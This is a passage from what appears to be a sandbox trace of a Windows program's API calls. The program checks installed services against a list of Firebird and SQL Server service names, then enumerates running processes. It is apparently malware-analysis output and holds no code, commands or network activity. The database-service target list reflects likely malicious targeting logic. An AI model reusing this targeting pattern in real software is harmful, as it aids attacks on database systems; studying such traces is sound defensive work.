(lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0093.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0093.109] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0093.109] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0093.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0093.109] lstrlenW (lpString="BITS") returned 4 [0093.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0093.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0093.109] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0093.109] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0093.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0093.109] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0093.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0093.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0093.109] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0093.109] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0093.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0093.110] lstrlenW (lpString="CDPSvc") returned 6 [0093.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0093.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0093.110] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0093.110] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0093.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0093.110] lstrlenW (lpString="ClickToRunSvc") returned 13 [0093.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0093.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0093.110] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0093.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0093.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0093.110] lstrlenW (lpString="ClipSVC") returned 7 [0093.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0093.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0093.110] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0093.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0093.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0093.110] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0093.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0093.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0093.110] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0093.110] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0093.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0093.110] lstrlenW (lpString="CryptSvc") returned 8 [0093.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0093.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0093.110] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0093.110] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0093.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0093.110] lstrlenW (lpString="DcomLaunch") returned 10 [0093.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0093.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0093.110] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0093.110] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0093.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0093.111] lstrlenW (lpString="DeviceAssociationService") returned 24 [0093.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0093.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0093.111] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0093.111] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0093.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0093.111] lstrlenW (lpString="Dhcp") returned 4 [0093.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0093.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0093.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0093.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0093.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0093.111] lstrlenW (lpString="Dnscache") returned 8 [0093.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0093.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0093.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0093.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0093.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0093.111] lstrlenW (lpString="DoSvc") returned 5 [0093.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0093.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0093.111] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0093.111] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0093.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0093.111] lstrlenW (lpString="DPS") returned 3 [0093.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0093.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0093.111] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0093.111] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0093.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0093.111] lstrlenW (lpString="DusmSvc") returned 7 [0093.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0093.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0093.111] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0093.111] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0093.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0093.111] lstrlenW (lpString="EventLog") returned 8 [0093.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0093.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0093.111] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0093.111] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0093.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0093.112] lstrlenW (lpString="EventSystem") returned 11 [0093.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0093.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0093.112] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0093.112] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0093.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0093.112] lstrlenW (lpString="FontCache") returned 9 [0093.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0093.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0093.112] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0093.112] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0093.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0093.112] lstrlenW (lpString="gpsvc") returned 5 [0093.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0093.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0093.112] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0093.112] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0093.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0093.112] lstrlenW (lpString="iphlpsvc") returned 8 [0093.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0093.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0093.112] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0093.112] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0093.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0093.112] lstrlenW (lpString="KeyIso") returned 6 [0093.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0093.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0093.112] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0093.112] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0093.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0093.112] lstrlenW (lpString="LanmanServer") returned 12 [0093.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0093.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0093.112] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0093.112] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0093.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0093.112] lstrlenW (lpString="LanmanWorkstation") returned 17 [0093.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0093.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0093.112] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0093.113] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0093.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0093.113] lstrlenW (lpString="lfsvc") returned 5 [0093.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0093.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0093.113] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0093.113] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0093.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0093.113] lstrlenW (lpString="LicenseManager") returned 14 [0093.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0093.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0093.113] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0093.113] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0093.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0093.113] lstrlenW (lpString="lmhosts") returned 7 [0093.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0093.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0093.113] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0093.113] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0093.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0093.113] lstrlenW (lpString="LSM") returned 3 [0093.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0093.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0093.113] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0093.113] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0093.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0093.113] lstrlenW (lpString="MapsBroker") returned 10 [0093.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0093.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0093.113] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0093.113] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0093.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0093.113] lstrlenW (lpString="MpsSvc") returned 6 [0093.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0093.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0093.113] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0093.113] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0093.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0093.113] lstrlenW (lpString="NcbService") returned 10 [0093.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0093.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0093.113] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0093.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0093.114] lstrlenW (lpString="netprofm") returned 8 [0093.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0093.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0093.114] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0093.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0093.114] lstrlenW (lpString="NlaSvc") returned 6 [0093.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0093.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0093.114] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0093.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0093.114] lstrlenW (lpString="nsi") returned 3 [0093.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0093.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0093.114] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0093.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0093.114] lstrlenW (lpString="PcaSvc") returned 6 [0093.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0093.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0093.114] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0093.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0093.114] lstrlenW (lpString="PlugPlay") returned 8 [0093.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0093.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0093.114] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0093.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0093.114] lstrlenW (lpString="Power") returned 5 [0093.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0093.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0093.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0093.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0093.114] lstrlenW (lpString="ProfSvc") returned 7 [0093.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0093.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0093.114] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0093.114] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0093.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0093.115] lstrlenW (lpString="RpcEptMapper") returned 12 [0093.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0093.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0093.115] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0093.115] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0093.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0093.115] lstrlenW (lpString="RpcSs") returned 5 [0093.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0093.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0093.115] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0093.115] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0093.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0093.115] lstrlenW (lpString="SamSs") returned 5 [0093.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0093.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0093.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0093.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0093.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0093.115] lstrlenW (lpString="Schedule") returned 8 [0093.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0093.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0093.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0093.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0093.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0093.115] lstrlenW (lpString="SecurityHealthService") returned 21 [0093.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0093.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0093.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0093.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0093.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0093.115] lstrlenW (lpString="SENS") returned 4 [0093.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0093.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0093.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0093.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0093.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0093.115] lstrlenW (lpString="ShellHWDetection") returned 16 [0093.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0093.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0093.116] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0093.116] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0093.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0093.116] lstrlenW (lpString="Spooler") returned 7 [0093.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0093.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0093.116] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0093.116] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0093.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0093.116] lstrlenW (lpString="SSDPSRV") returned 7 [0093.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0093.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0093.116] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0093.116] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0093.116] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x607728 | out: hHeap=0x5c0000) returned 1 [0093.118] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0093.125] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.126] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0093.127] lstrlenW (lpString="System") returned 6 [0093.127] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0093.128] lstrlenW (lpString="smss.exe") returned 8 [0093.128] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.128] lstrlenW (lpString="csrss.exe") returned 9 [0093.128] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0093.129] lstrlenW (lpString="wininit.exe") returned 11 [0093.129] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.130] lstrlenW (lpString="csrss.exe") returned 9 [0093.130] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0093.131] lstrlenW (lpString="winlogon.exe") returned 12 [0093.131] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0093.131] lstrlenW (lpString="services.exe") returned 12 [0093.131] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0093.133] lstrlenW (lpString="lsass.exe") returned 9 [0093.133] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.133] lstrlenW (lpString="svchost.exe") returned 11 [0093.133] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.134] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.134] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0093.134] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0093.134] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.135] lstrlenW (lpString="svchost.exe") returned 11 [0093.135] 